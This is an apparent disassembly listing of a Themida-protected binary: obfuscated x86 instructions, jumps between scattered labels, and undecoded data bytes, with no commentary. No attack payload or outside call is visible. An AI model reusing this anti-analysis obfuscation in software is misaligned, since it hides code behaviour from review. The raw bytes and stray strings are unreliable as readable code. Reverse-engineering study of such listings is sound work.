loc_55AD8C:				; CODE XREF: Themida_:0056437Ej
		push	eax
		mov	eax, 21AC7689h
		add	dword ptr [esp+4], 4A0E782Dh
		sub	[esp+4], eax
		push	esi
		mov	esi, 4A0E782Dh
		sub	[esp+8], esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_567291
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 125C19DFh
		push	ebp
		mov	ebp, 316856ADh
		shl	ebp, 6
		xor	ebp, 3C16217Fh
		sub	ebp, 1
		push	edx
		jmp	loc_55A520
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EB010000h, 565CE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55ADFA:				; CODE XREF: Themida_:0055E034j
		push	edx
		mov	edx, eax
		mov	edi, edx
		pop	edx
		pop	eax
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55493B
; ---------------------------------------------------------------------------

loc_55AE0F:				; CODE XREF: Themida_:0055D831j
		add	edx, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_563CCE
; ---------------------------------------------------------------------------
		dw 0E62Dh
		dd 0E923DC75h, 0FFFFDE5Fh, 0EC83DF01h, 24148904h, 2F6761BAh
		dd 75EF8127h, 291E3F48h, 75C781D7h, 5A1E3F48h, 243C875Bh
		dd 0EF64E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AE4A:				; CODE XREF: Themida_:00560910j
		xor	edi, [esp]
		jmp	loc_56219A
; ---------------------------------------------------------------------------
		dw 0ACBFh
		dd 811C827Fh, 0CC004FF7h, 4615E947h, 8FB90000h,	810DC46Bh
		dd 6C08246Ch, 29309B72h, 8108244Ch, 6C082444h, 0E9309B72h
		dd 28F0h, 0EC805966h, 58E2281Ah, 285AD028h, 66AD04F8h
		dd 2C13E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AE96:				; CODE XREF: Themida_:00563B2Dj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_554F61
; ---------------------------------------------------------------------------

loc_55AEAF:				; CODE XREF: Themida_:00556F18j
		add	ebp, eax
		jmp	loc_5553C3
; ---------------------------------------------------------------------------

loc_55AEB6:				; CODE XREF: Themida_:00554EE6j
		add	edi, 0FFFFFFFFh
		and	edi, 2186397Ch
		push	84Dh
		mov	[esp], edx
		mov	edx, 32746537h
		not	edx
		neg	edx
		xor	edx, 3CDC9607h
		sub	edi, edx
		jmp	loc_556FEC
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 133BE924h, 0D3290000h, 61D3E9h
		dd 5C78100h, 18D0010h, 4875FF8h, 7D9FE924h, 148B0000h
		dd 4C48124h, 50000000h,	2570BF57h, 0E4E94508h, 81000082h
		dd 0A174E8F7h, 5FFB015Dh, 0BF57C301h, 5DA575E8h, 0D4E9FB29h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AF37:				; CODE XREF: Themida_:00563018j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 51AA3B78h
		shr	esi, 1
		inc	esi
		sub	esi, 28D51DB9h
		add	ebp, esi
		jmp	loc_55568A
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481241Ch, 4, 49EBE952h,	4870000h, 3C895C24h
		dd 3651E924h, 8F5A0000h, 55C2404h, 6A936C32h, 4CF1E9h
		dd 67C18100h, 5F78075Dh, 0FFCE59E9h, 12BB53FFh,	812F3E01h
		dd 659C7C3h, 81E3D161h,	774A52C3h, 5BD801DFh, 0E904E883h
		dd 0FFFFFFBAh, 0C181F129h, 0AAD4B99h, 0EBE565Eh, 0E96F6A0Dh
		dd 0CABFh, 1C8BD988h, 0E2895224h, 8904EC83h, 0ACBD242Ch
		dd 0F74C516Bh, 0FFB951D5h, 29FFFFFFh, 0E5C159CDh, 3E5C108h
		dd 5AC9B850h, 0CD356C05h, 3118A7FAh, 0C490E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B006:				; CODE XREF: Themida_:00559686j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5559BF
; ---------------------------------------------------------------------------
		db 87h,	0FEh, 81h
		dd 1C8BD2EEh, 5EF1292Eh, 8759CF09h, 31D1F7CFh, 31F931CFh
		dd 62EF81CFh, 0E969BF0Dh, 0FFFFE4F0h, 24048B66h, 685F5457h
		dd 553h, 0BD242C89h, 696C129Ah,	8108EDC1h, 8A4A6EE5h, 1ED817Eh
		dd 57000000h, 0B8DBE9h,	240C3300h, 613E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B071:				; CODE XREF: Themida_:00564EF9j
		pop	edi
		push	ecx
		mov	ecx, 6F34215Ch
		add	ecx, 441313FFh
		not	ecx
		add	ecx, 0BED75AA6h
		xor	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 228D352Bh
		xor	ebp, eax
		jmp	loc_567ACB
; ---------------------------------------------------------------------------

loc_55B096:				; CODE XREF: Themida_:00555F63j
		mov	edx, 78873004h
		add	edx, 6B50ED3h
		jmp	loc_5627F7
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8704h, 0BF9AE9h,	2434FF00h, 4EC835Fh, 5435E9h, 4C48100h
		dd 87000000h, 248B240Ch, 4C78124h, 0E9000000h, 49F2h, 48B0388h
		dd 4C48324h, 0FFE83CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B0E1:				; CODE XREF: Themida_:0055902Cj
		mov	[esp], dx
		mov	dh, 0C0h
		add	al, dh
		jmp	loc_5553AA
; ---------------------------------------------------------------------------

loc_55B0EE:				; CODE XREF: Themida_:0055865Ej
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	56A0h
		mov	[esp], esi
		jmp	loc_5579D5
; ---------------------------------------------------------------------------
		db 83h
		dd 0E9042404h, 709Dh, 4C481h, 48F0000h,	0D90DE924h, 0CD81FFFFh
		dd 436A04FEh, 4EFAB951h, 0CD314B6Fh, 5DEB8959h,	5D71EE81h
		dd 0DE014789h, 0B74DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B141:				; CODE XREF: Themida_:0055B654j
		and	ecx, 58E36F31h
		jmp	loc_557E0E
; ---------------------------------------------------------------------------
aAPXss		db '€Ã[(Ú[P´Xés ',0
		align 2
		dw 0E95Eh
		dd 0FFFFD566h, 4C481h, 0EB680000h, 0E900001Dh, 0FFFFEE46h
; ---------------------------------------------------------------------------

loc_55B170:				; CODE XREF: Themida_:00554F5Cj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55828C
; ---------------------------------------------------------------------------
		db 81h
		dd 95906FF3h, 5BD901EBh, 0BD55F101h, 33E75A2h, 6A768h
		dd 240C8900h, 0AF6620B9h, 17ED8150h, 1406D03h, 17C581CDh
		dd 59406D03h, 130EF581h, 0F5817DC0h, 20240151h,	8503ED81h
		dd 0C181F0CBh, 47B2A5Dh, 7AEEB850h, 160521C9h, 8153EEF4h
		dd 136958E9h, 81C10133h, 136958C1h, 0E9295833h,	6F04E981h
		dd 0E98175B8h, 47B2A5Dh, 0B8505E5Dh, 2,	0FE9C101h, 83FFFFDEh
		dd 0EA8104C4h, 0FFFFFFFFh, 7816E9h, 2434FF00h, 8DF9E9h
		dd 28C18100h, 0E9589C19h, 0FFFFB66Ch, 24048B66h, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 54240489h, 40558h, 5AE90000h
		dd 4FFFFB9h, 0AA2CE9D3h, 0F7660000h, 2DBA68F1h,	1C890000h
		dd 5CFBE924h, 3C8B0000h, 4C48324h, 1FE1C381h, 0C3297425h
		dd 4EC81h, 0C890000h, 78C76824h, 2C890000h, 3D446824h
		dd 0E95D6576h, 0FFFFADF9h, 5C241487h, 715E6866h, 24148966h
		dd 0E96DB753h, 9E54h, 0C78858B0h, 0E7C78058h, 0FFD126E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B29D:				; CODE XREF: Themida_:00566747j
		push	edi
		mov	edi, 76A909BAh
		not	edi
		jmp	loc_555E1A
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 0E99C240Ch, 0FFFF754Ah, 4246C81h, 73E94A9Fh,	57240C8Bh
		dd 7AE9E789h, 81000058h, 4ECh, 0A523E900h, 87590000h, 665C242Ch
		dd 5724048Bh, 0FDCFE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B2E2:				; CODE XREF: Themida_:0055810Bj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jmp	loc_5669CA
; ---------------------------------------------------------------------------
		db 0BAh
		dd 597363C7h, 0C108EAC1h, 0EAC102EAh, 7F596802h, 1C890000h
		dd 0D734E924h, 0C781FFFFh, 301D04EAh, 0FFC7835Dh, 22C0F781h
		dd 0FA310B0Dh, 14EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B325:				; CODE XREF: Themida_:0056230Cj
		push	dword ptr [esp]
		jmp	loc_564897
; ---------------------------------------------------------------------------

loc_55B32D:				; CODE XREF: Themida_:0055F9A4j
		add	eax, ebx
		pop	ebx
		push	ecx
		jmp	loc_559143
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E6ECE924h, 0C381FFFFh, 1C3D7BEBh, 0E950FB01h, 58BBh
		dd 33241C31h, 248B241Ch, 0C8B6624h, 4EC8124h, 89000000h
		dd 8952243Ch, 4C281E2h,	50000000h, 4B8h, 58C22900h, 5C241487h
		dd 83242489h, 5F042404h, 4C781h, 10E90000h, 0FF000096h
		dd 2BE94077h, 89000062h, 1E95EF2h, 5BFFFF93h, 0E904C483h
		dd 0B413h
; ---------------------------------------------------------------------------

loc_55B3A4:				; CODE XREF: Themida_:00556634j
		xchg	edi, [esp]
		jmp	loc_5640FA
; ---------------------------------------------------------------------------

loc_55B3AC:				; CODE XREF: Themida_:0055BCB8j
		mov	bh, ah
		jmp	loc_5599C8
; ---------------------------------------------------------------------------
		db 2Dh
		dd 54A4681Ch, 1C05D801h, 0E954A468h, 0FFFFD2E9h, 0F05BE955h
		dd 0BD5FFFFFh, 0EDCBEBB3h, 4C9EC581h, 0FD0130ECh, 4C9EED81h
		dd 70E930ECh, 89FFFFD4h, 2C18E9E5h, 0BE560000h,	0E924564h
		dd 0D5E95755h, 0BB00003Eh, 210971C8h, 2414F753h, 0B087E9h
		dd 41C2C00h, 2CD8000Ch,	0C075E90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B412:				; CODE XREF: Themida_:00560EFFj
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5866C200h, 0E9CCC280h, 4C3Ah, 24048B66h, 4EC81h, 3C890000h
		dd 6B846824h, 24890000h, 5E16824h, 58E90000h, 420000B4h
		dd 17CACA81h, 0C281195Eh, 8280A02Ah, 895AD589h,	0FE015DEFh
		dd 2434875Fh, 8AD9E9h, 33110500h, 0C8B1568h, 4C48324h
		dd 48E9C389h, 5FFFFFF8h, 0D05E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B479:				; CODE XREF: Themida_:0055CC72j
		xor	eax, 151F515Eh
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_55FCEE
; ---------------------------------------------------------------------------

loc_55B488:				; CODE XREF: Themida_:0055C2D5j
		sub	ebx, 13F02260h
		jmp	loc_562092
; ---------------------------------------------------------------------------
		db 1
		dd 727C05C8h, 5595CEBh,	2, 5C240487h, 24048F66h, 0FF7351E9h
		dd 70ED2DFFh, 34E90DA0h, 0F7FFFF9Ah, 0C15E241Ch, 8E906E6h
		dd 50FFFFC9h, 4C225CB8h, 58C20122h, 0EA81DA01h,	224C225Ch
		dd 50241C8Bh, 405E089h,	83000000h, 48704C0h, 14875C24h
		dd 24248B24h, 24048B66h, 7771E952h, 2C89FFFFh, 81E58924h
		dd 4C5h, 4BB5300h, 1000000h, 2C335BDDh,	242C3124h, 0E9242C33h
		dd 0FE3h, 0F9E9BE59h, 0C6811F80h, 0EF25509h, 0EE81CE29h
		dd 0EF25509h, 6520E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B532:				; CODE XREF: Themida_:0055EC78j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	eax, 729F474Bh
		push	7A5Ch
		mov	[esp], ecx
		mov	ecx, 66BE2D47h
		shr	ecx, 5
		add	ecx, 52232C31h
		jmp	loc_5596DD
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FFCE59E9h, 242C33FFh, 89A7E9h, 58C20000h, 7B6CE9h
		dd 0D830AC00h, 3E10E953h, 31580000h, 0FC0E9C1h,	0C5810000h
		dd 0D89F2CCAh, 0BFE9EF29h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B593:				; CODE XREF: Themida_:00552A57j
		mov	edx, 4
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_557617
; ---------------------------------------------------------------------------
		db 9
		dd 0DE91C6Fh, 8300007Ch, 0E95104C4h, 211Eh, 8704C283h
		dd 535C2414h, 0C3815B54h, 4, 0FF9301E9h, 5FF801FFh, 0FFED5EE9h
		dd 49AEBAFFh, 0DAF727C7h, 640EE281h, 0EA811449h, 0A32BCF1Bh
		dd 89D78957h, 0F1E95FF8h, 8100004Eh, 4C1h, 4A0CE900h, 5A540000h
		dd 4C281h, 0C2830000h, 24143304h, 8BD1E9h, 4C18300h, 5C240C87h
		dd 4EC81h, 0C890000h, 2474FF24h, 240C8B04h, 4C481h, 48F0000h
		dd 1F685C24h, 0E9000058h, 172Ah, 45C9C781h, 0B8504AD2h
		dd 3FAC2DFCh, 0FFD59BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B649:				; CODE XREF: Themida_:005598ECj
		mov	ecx, 1F2F79E2h
		neg	ecx
		not	ecx
		shr	ecx, 1
		jmp	loc_55B141
; ---------------------------------------------------------------------------
a5V8sM		db '¿5',8,'¢8éÁŒ',0
		dw 8100h
		dd 4C4h, 8BFB3100h, 0C483243Ch,	0E9BF5704h, 194F339h, 0DE315FFBh
		dd 0E92434FFh, 0FFFF8224h, 0E9240C31h, 0FFFF771Dh, 6240481h
		dd 8B145E04h, 0E950241Ch, 0C3CEh
; ---------------------------------------------------------------------------

loc_55B69C:				; CODE XREF: Themida_:00565507j
		mov	ecx, 4A0E33C7h
		sub	eax, ecx
		pop	ecx
		add	eax, 42A406F9h
		jmp	loc_564255
; ---------------------------------------------------------------------------
		dw 66ACh
		dd 665E2468h, 0B2241489h, 0C592E96Ah, 0CB81FFFFh, 0CEA40ADh
		dd 1390F381h, 0E94B59BCh, 92D5h, 8124348Bh, 4C4h, 52BB5300h
		dd 31473D7Bh, 0BF575BD9h, 0C8E2A5Bh, 295FF829h,	2A5B05C8h
		dd 0C8B0C8Eh, 4C48324h,	4EC8159h, 89000000h, 0BBBA2414h
		dd 8108A642h, 97385EEBh, 56D32914h, 0FFD202E9h,	4EC83FFh
		dd 0E9242C89h, 775Fh, 6943B7BFh, 5FFE2128h, 0E15F681h
		dd 0F68113D4h, 3BD50EB5h, 215C781h, 0F701294Eh,	215EF81h
		dd 0E95E294Eh, 6D6Bh
; ---------------------------------------------------------------------------

loc_55B748:				; CODE XREF: Themida_:005606B8j
		mov	[esp], ecx
		jmp	loc_564C4E
; ---------------------------------------------------------------------------
		dd 0E9DEB551h, 3319h
; ---------------------------------------------------------------------------

loc_55B758:				; CODE XREF: Themida_:005613EAj
		sub	dword ptr [esp+4], 4052305Bh
		jmp	loc_560BBB
; ---------------------------------------------------------------------------
		db 31h,	0CAh, 59h
		dd 148BD301h, 0E6895624h, 4BD55h, 0EE010000h, 4C6835Dh
		dd 5C243487h, 0E904C383h, 0FFFF9A9Bh, 0FF7071E9h, 38BE56FFh
		dd 46372C5Eh, 24EAC681h, 0C6813D47h, 55A0029h, 0FFD9E4E9h
		dd 81D987FFh, 1A7CDAE9h, 7B76680Eh, 2C890000h, 61BB5324h
		dd 0BD3EE214h, 1E9A68D4h, 295BDD31h, 8AE95DE9h,	890000A7h
		dd 0EF682434h, 5E7B146Eh, 14F75646h, 0B397E924h, 0E929FFFFh
		dd 240C875Dh, 9206E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B7EA:				; CODE XREF: Themida_:0055A9FFj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	0FA9h
		jmp	loc_557F1A
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0ECh
		dd 0C896602h, 0D4B45024h, 0CE68h, 24148900h, 0DAF62EB2h
		dd 8088F280h, 0F28023C2h, 0A1DCE919h, 1C870000h, 14895C24h
		dd 0AD59E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B82E:				; CODE XREF: Themida_:0055CAEEj
		push	ebx
		mov	bl, ch
		mov	[edi+eax*4+1], bl
		mov	ebx, [esp]
		push	edi
		jmp	loc_557AB2
; ---------------------------------------------------------------------------

loc_55B83E:				; CODE XREF: Themida_:00566335j
		mov	ebx, [esp]
		jmp	loc_55F0D8
; ---------------------------------------------------------------------------

loc_55B846:				; CODE XREF: Themida_:00559F4Cj
		mov	[esp], ebp
		push	36C2h
		jmp	loc_56613B
; ---------------------------------------------------------------------------
aSui		db '\éu©',0
		dd 4C28300h, 31241433h,	30E92414h, 0F600009Eh, 0C5EB80D3h
		dd 11E9DD28h, 59000056h, 34FFEF29h, 7EE95D24h, 0B50000A0h
		dd 4BE58046h, 809DF580h, 0B450B9F5h, 0F6DCF633h, 0FED4F6D4h
		dd 0C3EC80C4h, 3EA7E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B89D:				; CODE XREF: Themida_:00566E1Fj
		shr	eax, 2
		dec	eax
		push	edi
		mov	edi, 77633D91h
		jmp	loc_562B0D
; ---------------------------------------------------------------------------
aYfy		db '(ÈYfY,´',0
		dd 4B404D8h, 2EC8377h, 241C8966h, 0E952AAB7h, 0BE1Dh, 55DEE31h
		dd 494D6B90h, 9A0E1E2Dh, 5F00146h, 469A0E1Eh, 4D6B902Dh
		dd 0C3315E49h, 97E930FFh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B8EB:				; CODE XREF: Themida_:0055FB3Aj
		mov	edx, esp
		push	ebx
		push	ebp
		jmp	loc_56267A
; ---------------------------------------------------------------------------
aPwsg		db '^PWéG\',0
		align 4
		dd 4C281h, 0C2830000h, 0F972E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B90A:				; CODE XREF: Themida_:0055F2C7j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_565586
; ---------------------------------------------------------------------------
		dd 1E076866h, 24048966h, 71CFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B929:				; CODE XREF: Themida_:0055EE19j
		or	eax, 10AE6109h
		sub	eax, 0BB6A455Bh
		add	edx, eax
		jmp	loc_559627
; ---------------------------------------------------------------------------
		dw 515Ch
		dd 0ED80DBB5h, 0C0D5F601h, 0CDFE05E5h, 860B050h, 0B35358C5h
		dd 42C3804Dh, 380AE9h, 0E9202400h, 0FFFF8C4Ch, 40292DADh
		dd 0A2E90993h, 53000089h, 9F70FF68h, 814B5B75h,	608F04C3h
		dd 0E9DE898Ah, 652Ch
; ---------------------------------------------------------------------------

loc_55B980:				; CODE XREF: Themida_:00555C56j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55A394
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		sub	ecx, 696F7A2Bh
		add	ecx, edx
		add	ecx, 696F7A2Bh
		pop	edx
		push	esi
		mov	esi, 2ECF464Eh
		or	esi, 0BB75139h
		dec	esi
		neg	esi
		sub	esi, 0D000A87Eh
		add	ecx, 652F23FAh
		add	ecx, 3382117h
		jmp	loc_55F4D0
; ---------------------------------------------------------------------------

loc_55B9D2:				; CODE XREF: Themida_:00566DF8j
		push	eax
		mov	eax, 207C343Eh
		jmp	loc_567B4B
; ---------------------------------------------------------------------------
		db 68h,	0E3h, 5Ah
		dd 815848F2h, 0E5235FC1h, 56C1017Bh, 563BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B9F1:				; CODE XREF: Themida_:0055831Ej
		pop	ecx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 53FB4226h
		push	597Fh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	51D30A18h
		pop	edi
		push	esi
		jmp	loc_553A7C
; ---------------------------------------------------------------------------

loc_55BA19:				; CODE XREF: Themida_:00565A61j
		pop	edx
		jmp	loc_552992
; ---------------------------------------------------------------------------

loc_55BA1F:				; CODE XREF: Themida_:0055DA8Ej
		add	esp, 4
		or	eax, eax
		jmp	loc_55F63F
; ---------------------------------------------------------------------------
		dd 8B240433h, 0C7E92424h, 81FFFF6Dh, 129C34C5h,	8BEB2944h
		dd 0CCE9242Ch, 89000076h, 82C7E9E6h, 78BDFFFFh,	0E90EF014h
		dd 3804h, 3166AD66h, 8AE8E9D8h,	0F660000h, 736800B6h, 8900002Dh
		dd 0EC83240Ch, 48F5404h, 24048324h, 6D685904h, 0E9000072h
		dd 0FFFFAD6Ch, 0E9240433h, 0FFFF71CDh, 0C2815A54h, 4, 4C281h
		dd 62E90000h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BA9F:				; CODE XREF: Themida_:005571FFj
		xchg	edi, [esp]
		jmp	loc_561F9C
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 53CB8924h, 442CBB53h, 5C297F15h, 0FF5B0424h
		dd 815E2434h, 4C4h, 2CC68100h, 0FF7F1544h, 0E7E92434h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55E9AB
; ---------------------------------------------------------------------------
		db 68h,	8Fh, 2Fh
		dd 3C8B6E89h, 0F1DFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BAEE:				; CODE XREF: Themida_:00553AACj
		pop	ecx
		jmp	loc_558058
; ---------------------------------------------------------------------------
		dd 0DA242C81h, 591F674Ch, 4CDAC181h, 31E91F67h,	2CFFFFB5h
		dd 0F92C1Bh, 53F904D8h,	0F8001BB7h, 0FFD8A1E9h,	6CE956FFh
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BB1F:				; CODE XREF: Themida_:005567EBj
		mov	[esp], edx
		jmp	loc_55968B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 414A03B9h, 7307C281h, 71E92E4Ch, 0E9000031h,	0FFFF6CC2h
		dd 81FFEB83h, 0F372C2EBh, 14E9533Ch, 29000053h,	0E0E95EF7h
		dd 89000030h, 0E589242Ch, 4EC81h, 0C890000h, 75E26824h
		dd 36E90000h, 2DFFFFB4h, 0ED735DDh, 65E9C829h, 5000006Bh
		dd 5DB05968h, 0C13158BDh, 0E9CB3158h, 92D8h, 0E924048Bh
		dd 0BAF6h
; ---------------------------------------------------------------------------

loc_55BB90:				; CODE XREF: Themida_:0055A47Aj
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 0D0E3828h
		shl	edx, 7
		xor	edx, 5F4A4B79h
		push	ebx
		mov	ebx, esp
		jmp	loc_55F773
; ---------------------------------------------------------------------------

loc_55BBB3:				; CODE XREF: Themida_:005605FDj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_5617A8
; ---------------------------------------------------------------------------

loc_55BBC8:				; CODE XREF: Themida_:00555290j
		xor	edx, 0E812E0D8h
		sub	eax, edx
		pop	edx
		mov	edx, eax
		pop	eax
		jmp	loc_55D8C5
; ---------------------------------------------------------------------------

loc_55BBD9:				; CODE XREF: Themida_:00560695j
		mov	bh, 0A7h
		add	bh, 0F4h
		jmp	loc_5568E8
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF4AE5EFh, 0F7DF876Fh, 0E9DF87D3h, 6D66h
; ---------------------------------------------------------------------------

loc_55BBF4:				; CODE XREF: Themida_:005640C3j
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_553C86
; ---------------------------------------------------------------------------

loc_55BC08:				; CODE XREF: Themida_:005635F1j
		add	edi, 29233741h
		sub	edi, ebp
		sub	edi, 29233741h
		jmp	loc_566F82
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4244401h, 24348B58h,	5704C483h, 4BFh, 5FFE0100h, 3E446851h
		dd 64E931BAh, 8BFFFF89h, 0C4812414h, 4,	0FFDE8FE9h, 2474FFFFh
		dd 48F5A04h, 61E3E924h,	28BB0000h, 8974732Eh, 0D8F75BD8h
		dd 8CD1D42Dh, 350FE98Bh, 0C15D0000h, 0E5C105E5h, 48E95505h
		dd 0FFFFFFE3h, 0E9582434h, 0FFFF7AFEh, 0D1D5F759h, 0A8E581EDh
		dd 81734058h, 0E85CDAF5h, 5DEE293Fh, 535EF501h,	0FFDDB9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BC9D:				; CODE XREF: Themida_:0055381Bj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5605D3
; ---------------------------------------------------------------------------
		dw 0E883h
		dd 24048704h, 242C895Ch, 0BFE95D54h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BCB7:				; CODE XREF: Themida_:00567157j
		push	ebx
		jmp	loc_55B3AC
; ---------------------------------------------------------------------------

loc_55BCBD:				; CODE XREF: Themida_:00560625j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_567707
; ---------------------------------------------------------------------------

loc_55BCC8:				; CODE XREF: Themida_:005659C7j
		add	esi, edx
		pop	edx
		push	edi
		mov	edi, 0E35C9Dh
		push	esi
		jmp	loc_55E74B
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0B7FC6825h, 0EDE9EE29h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BCE3:				; CODE XREF: Themida_:00564D78j
		mov	esp, [esp]
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_562983
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aWhs		db '$WhS%',0
		dw 5600h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 0B46FE924h, 0E95CFFFFh
		dd 0FFFFA72Bh
; ---------------------------------------------------------------------------

loc_55BD18:				; CODE XREF: Themida_:005642CAj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5635D2
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 58616824h, 0C890000h, 0E9E18924h
		dd 261Fh, 0F7FFC783h, 6D1EE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BD52:				; CODE XREF: Themida_:0055EBBCj
		pop	eax
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 0B4h
		mov	dl, cl
		mov	ecx, [esp]
		jmp	loc_5556E9
; ---------------------------------------------------------------------------

loc_55BD6F:				; CODE XREF: Themida_:0055E9A6j
		and	ecx, eax
		jmp	loc_55913B
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0E720E924h, 0C680FFFFh, 5AF108D7h, 91C180h, 5B40E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BD8E:				; CODE XREF: Themida_:00561E73j
		mov	edx, 337A75BEh
		sub	[esp+8], edx
		push	dword ptr [esp]
		jmp	loc_5535EF
; ---------------------------------------------------------------------------

loc_55BD9F:				; CODE XREF: Themida_:00563386j
		push	ebx
		sub	dword ptr [esp], 71F33B1Dh
		pop	ecx
		push	edi
		mov	edi, 71F33B1Dh
		add	ecx, edi
		pop	edi
		push	ecx
		add	dword ptr [esp], 1ADA5408h
		pop	eax
		push	edi
		mov	edi, 0D501E76h
		sub	edi, 61CB4BD2h
		or	edi, 2274144Bh
		push	edi
		jmp	loc_56673A
; ---------------------------------------------------------------------------

loc_55BDD2:				; CODE XREF: Themida_:0055C541j
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_560A36
; ---------------------------------------------------------------------------
		db 1
		dd 7A57E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BDE2:				; CODE XREF: Themida_:00566B30j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 79680FBCh
		neg	edi
		shl	edi, 8
		sub	edi, 100D4B0Ch
		dec	edi
		add	edi, 781D070Dh
		push	6E21h
		mov	[esp], esi
		push	3EABh
		mov	[esp], edi
		pop	esi
		mov	ecx, esi
		pop	esi
		jmp	loc_558A0A
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0C9680000h, 8900002Dh, 0CAE92414h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

